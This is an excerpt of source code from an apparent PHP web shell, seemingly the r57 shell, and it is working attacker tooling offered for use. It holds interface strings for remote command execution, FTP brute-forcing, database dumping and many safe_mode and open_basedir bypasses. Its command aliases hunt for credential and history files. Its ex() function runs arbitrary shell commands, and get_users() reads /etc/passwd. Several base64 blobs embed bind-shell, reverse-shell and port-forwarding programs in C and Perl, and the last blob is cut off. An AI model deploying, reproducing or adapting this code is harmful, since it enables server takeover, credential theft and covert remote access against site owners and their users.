'eng_text2' =>'Execute command on server',
'eng_text3' =>'Run command',
'eng_text4' =>'Work directory',
'eng_text5' =>'Upload files on server',
'eng_text6' =>'Local file',
'eng_text7' =>'Aliases',
'eng_text8' =>'Select alias',
'eng_butt1' =>'Execute',
'eng_butt1a'=>'Execute without reload',
'eng_butt2' =>'Upload',
'eng_text9' =>'Bind port to /bin/bash',
'eng_text10'=>'Port',
'eng_text11'=>'Password for access',
'eng_butt3' =>'Bind',
'eng_text12'=>'back-connect',
'eng_text13'=>'IP',
'eng_text14'=>'Port',
'eng_butt4' =>'Connect',
'eng_text15'=>'Upload files from remote server',
'eng_text16'=>'With',
'eng_text17'=>'Remote file',
'eng_text18'=>'Local file',
'eng_text19'=>'Exploits',
'eng_text20'=>'Use',
'eng_text21'=>'&nbsp;New name',
'eng_text22'=>'datapipe',
'eng_text23'=>'Local port',
'eng_text24'=>'Remote host',
'eng_text25'=>'Remote port',
'eng_text26'=>'Use',
'eng_butt5' =>'Run',
'eng_text28'=>'Work in safe_mode',
'eng_text29'=>'ACCESS DENIED',
'eng_butt6' =>'Change',
'eng_text30'=>'Cat file',
'eng_butt7' =>'Show',
'eng_text31'=>'File not found',
'eng_text32'=>'Eval PHP code',
'eng_text33'=>'Test bypass open_basedir with cURL functions',
'eng_butt8' =>'Test',
'eng_text34'=>'Test bypass safe_mode with include function',
'eng_text35'=>'Test bypass safe_mode with load file in mysql',
'eng_text36'=>'Database . Table',
'eng_text37'=>'Login',
'eng_text38'=>'Password',
'eng_text39'=>'Database',
'eng_text40'=>'Dump database table',
'eng_butt9' =>'Dump',
'eng_text41'=>'Save dump in file',
'eng_text42'=>'Edit files',
'eng_text43'=>'File for edit',
'eng_butt10'=>'Save',
'eng_text44'=>'Can\'t edit file! Only read access!',
'eng_text45'=>'File saved',
'eng_text46'=>'Show phpinfo()',
'eng_text47'=>'Show variables from php.ini',
'eng_text48'=>'Delete temp files',
'eng_butt11'=>'Edit file',
'eng_text49'=>'Delete script from server',
'eng_text50'=>'View cpu info',
'eng_text51'=>'View memory info',
'eng_text52'=>'Find text',
'eng_text53'=>'In dirs',
'eng_text54'=>'Find text in files',
'eng_butt12'=>'Find',
'eng_text55'=>'Only in files',
'eng_text56'=>'Nothing :(',
'eng_text57'=>'Create/Delete File/Dir',
'eng_text58'=>'name',
'eng_text59'=>'file',
'eng_text60'=>'dir',
'eng_butt13'=>'Create/Delete',
'eng_text61'=>'File created',
'eng_text62'=>'Dir created',
'eng_text63'=>'File deleted',
'eng_text64'=>'Dir deleted',
'eng_text65'=>'Create',
'eng_text66'=>'Delete',
'eng_text67'=>'Chown/Chgrp/Chmod',
'eng_text68'=>'Command',
'eng_text69'=>'param1',
'eng_text70'=>'param2',
'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'eng_text72'=>'Text for find',
'eng_text73'=>'Find in folder',
'eng_text74'=>'Find in files',
'eng_text75'=>'* you can use regexp',
'eng_text76'=>'Search text in files via find',
'eng_text80'=>'Type',
'eng_text81'=>'Net',
'eng_text82'=>'Databases',
'eng_text83'=>'Run SQL query',
'eng_text84'=>'SQL query',
'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'eng_text86'=>'Download files from server',
'eng_butt14'=>'Download',
'eng_text87'=>'Download files from remote ftp-server',
'eng_text88'=>'FTP-server:port',
'eng_text89'=>'File on ftp',
'eng_text90'=>'Transfer mode',
'eng_text91'=>'Archivation',
'eng_text92'=>'without archivation',
'eng_text93'=>'FTP',
'eng_text94'=>'FTP-bruteforce',
'eng_text95'=>'Users list',
'eng_text96'=>'Can\'t get users list',
'eng_text97'=>'checked: ',
'eng_text98'=>'success: ',
'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
'eng_text100'=>'Send file to remote ftp server',
'eng_text101'=>'Use reverse (user -> resu) login for password',
'eng_text102'=>'Mail',
'eng_text103'=>'Send email',
'eng_text104'=>'Send file to email',
'eng_text105'=>'To',
'eng_text106'=>'From',
'eng_text107'=>'Subj',
'eng_butt15'=>'Send',
'eng_text108'=>'Mail',
'eng_text109'=>'Hide',
'eng_text110'=>'Show',
'eng_text111'=>'SQL-Server : Port',
'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
'eng_text116'=>'Copy from',
'eng_text117'=>'to',
'eng_text118'=>'File copied',
'eng_text119'=>'Cant copy file',
'eng_text120'=>'Test bypass safe_mode via creating php.ini',
'eng_text121'=>'Php.ini found, copy to php_ini_backup.',
'eng_err0'=>'Error! Can\'t write in file ',
'eng_err1'=>'Error! Can\'t read file ',
'eng_err2'=>'Error! Can\'t create ',
'eng_err3'=>'Error! Can\'t connect to ftp',
'eng_err4'=>'Error! Can\'t login on ftp server',
'eng_err5'=>'Error! Can\'t change dir on ftp',
'eng_err6'=>'Error! Can\'t sent mail',
'eng_err7'=>'Mail send',
'eng_text122' => 'error_log() Safe Mode Bypass',
'eng_text123' => 'htaccess safemode and open_basedir bypass',
'eng_text124' => 'Write to file',
'eng_text125' => 'Content',
'eng_text126' => 'SSI safe_mode bypass',
'eng_text127' => 'COM functions safe_mode and disable_function bypass',
'eng_text128' => 'ionCube extension safe_mode bypass',
'eng_text129' => 'win32std extension safe_mode bypass',
'eng_text130' => 'win32service extension safe_mode bypass',
'eng_text131' => 'perl extension safe_mode bypass',
'eng_text132' => 'FFI extension safe_mode bypass',
);
/*
 
      - . (      )
      .
*/
$aliases=array(
'find suid files'=>'find / -type f -perm -04000 -ls',
'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
'find sgid files'=>'find / -type f -perm -02000 -ls',
'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
'find config.inc.php files'=>'find / -type f -name config.inc.php',
'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
'find config* files'=>'find / -type f -name "config*"',
'find config* files in current dir'=>'find . -type f -name "config*"',
'find all writable files'=>'find / -type f -perm -2 -ls',
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
'find all writable directories'=>'find /  -type d -perm -2 -ls',
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
'find all writable directories and files'=>'find / -perm -2 -ls',
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
'find all service.pwd files'=>'find / -type f -name service.pwd',
'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
'find all .htpasswd files'=>'find / -type f -name .htpasswd',
'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
'find all .bash_history files'=>'find / -type f -name .bash_history',
'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
'find all .mysql_history files'=>'find / -type f -name .mysql_history',
'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
'list file attributes on a Linux second extended file system'=>'lsattr -va',
'show opened ports'=>'netstat -an | grep -i listen',
'----------------------------------------------------------------------------------------------------'=>'ls -la'
);
$table_up1  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
$table_up2  = " ::</div></b></font></td></tr><tr><td>";
$table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Webdings color=gray>4</font>";
$lb = "<font color=black>[</font>";
$rb = "<font color=black>]</font>";
$font = "<font face=Verdana size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";

if(isset($_GET['users'])) 
 { 
 if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
 else 
  { 
  echo '<center>';
  foreach($users as $user) { echo $user."<br>"; }
  echo '</center>';
  }
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); 
 }

if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
$dir = @getcwd();
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
 { 
 $os = getenv('OS');
 if(empty($os)){ $os = php_uname(); } 
 if(empty($os)){ $os ="-"; $unix=1; } 
 else
    {
    if(@eregi("^win",$os)) { $unix = 0; }
    else { $unix = 1; }
    }
 }
if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  {
    echo $head;
    if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
    else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
    $sr->SearchText(0,0);
    $res = $sr->GetResultFiles();
    $found = $sr->GetMatchesCount();
    $titles = $sr->GetTitles();
    $r = "";
    if($found > 0)
    {
      $r .= "<TABLE width=100%>";
      foreach($res as $file=>$v)
      {
        $r .= "<TR>";
        $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
        $r .= (!$unix)? str_replace("/","\\",$file) : $file;
        $r .= "</b></font></ TD>";
        $r .= "</TR>";
        foreach($v as $a=>$b)
        {
          $r .= "<TR>";
          $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
          $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
          $r .= "</TR>\n";
        }
      }
      $r .= "</TABLE>";
    echo $r;
    }
    else
    {
      echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
    }
  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  die(); 
  }                                                          
if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
function ws($i)
{
return @str_repeat("&nbsp;",$i);
}
function ex($cfe)
{
 $res = '';
 if (!empty($cfe))
 {
  if(function_exists('exec'))
   {
    @exec($cfe,$res);
    $res = join("\n",$res);
   }
  elseif(function_exists('shell_exec'))
   {
    $res = @shell_exec($cfe);
   }
  elseif(function_exists('system'))
   {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(function_exists('passthru'))
   {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@is_resource($f = @popen($cfe,"r")))
  {
   $res = "";
   while(!@feof($f)) { $res .= @fread($f,1024); }
   @pclose($f);
  }
 }
 return $res;
}
function get_users()
{
  $users = array();
  $rows=file('/etc/passwd');
  if(!$rows) return 0;	
  foreach ($rows as $string)
   {
   	$user = @explode(":",$string);
   	if(substr($string,0,1)!='#') array_push($users,$user[0]);
   }
  return $users; 	
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';	
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
 $ret = "<input type=".$type." name=".$name." ";
 if($size != 0) { $ret .= "size=".$size." "; }
 $ret .= "value=\"".$value."\"";
 if($checked) $ret .= " checked";
 return $ret.">";
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
 $w_file=@fopen($fname,"w") or err(0);
 if($w_file)
 {
 @fputs($w_file,base64_decode($text));
 @fclose($w_file);
 }
}
function sr($l,$t1,$t2)
 {
 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
 }	
if (!@function_exists("view_size"))
{
function view_size($size)
{
 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
 else {$size = $size . " B";}
 return $size;
}
}
  function DirFilesR($dir,$types='')
  {
    $files = Array();
    if(($handle = @opendir($dir)))
    {
      while (false !== ($file = @readdir($handle)))
      {
        if ($file != "." && $file != "..")
        {
          if(@is_dir($dir."/".$file))
            $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
          else
          {
            $pos = @strrpos($file,".");
            $ext = @substr($file,$pos,@strlen($file)-$pos);
            if($types)
            {
              if(@in_array($ext,explode(';',$types)))
                $files[] = $dir."/".$file;
            }
            else
              $files[] = $dir."/".$file;
          }
        }
      }
      @closedir($handle);
    }
    return $files;
  }
  class SearchResult
  {
    var $text;
    var $FilesToSearch;
    var $ResultFiles;
    var $FilesTotal;
    var $MatchesCount;
    var $FileMatschesCount;
    var $TimeStart;
    var $TimeTotal;
    var $titles;
    function SearchResult($dir,$text,$filter='')
    {
      $dirs = @explode(";",$dir);
      $this->FilesToSearch = Array();
      for($a=0;$a<count($dirs);$a++)
        $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
      $this->text = $text;
      $this->FilesTotal = @count($this->FilesToSearch);
      $this->TimeStart = getmicrotime();
      $this->MatchesCount = 0;
      $this->ResultFiles = Array();
      $this->FileMatchesCount = Array();
      $this->titles = Array();
    }
    function GetFilesTotal() { return $this->FilesTotal; }
    function GetTitles() { return $this->titles; }
    function GetTimeTotal() { return $this->TimeTotal; }
    function GetMatchesCount() { return $this->MatchesCount; }
    function GetFileMatchesCount() { return $this->FileMatchesCount; }
    function GetResultFiles() { return $this->ResultFiles; }
    function SearchText($phrase=0,$case=0) {
    $qq = @explode(' ',$this->text);
    $delim = '|';
      if($phrase)
        foreach($qq as $k=>$v)
          $qq[$k] = '\b'.$v.'\b';
      $words = '('.@implode($delim,$qq).')';
      $pattern = "/".$words."/";
      if(!$case)
        $pattern .= 'i';
      foreach($this->FilesToSearch as $k=>$filename)
      {
        $this->FileMatchesCount[$filename] = 0;
        $FileStrings = @file($filename) or @next;
        for($a=0;$a<@count($FileStrings);$a++)
        {
          $count = 0;
          $CurString = $FileStrings[$a];
          $CurString = @Trim($CurString);
          $CurString = @strip_tags($CurString);
          $aa = '';
          if(($count = @preg_match_all($pattern,$CurString,$aa)))
          {
            $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
            $this->ResultFiles[$filename][$a+1] = $CurString;
            $this->MatchesCount += $count;
            $this->FileMatchesCount[$filename] += $count;
          }
        }
      }
      $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
    }
  }
  function getmicrotime()
  {
    list($usec,$sec) = @explode(" ",@microtime());
    return ((float)$usec + (float)$sec);
  }
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
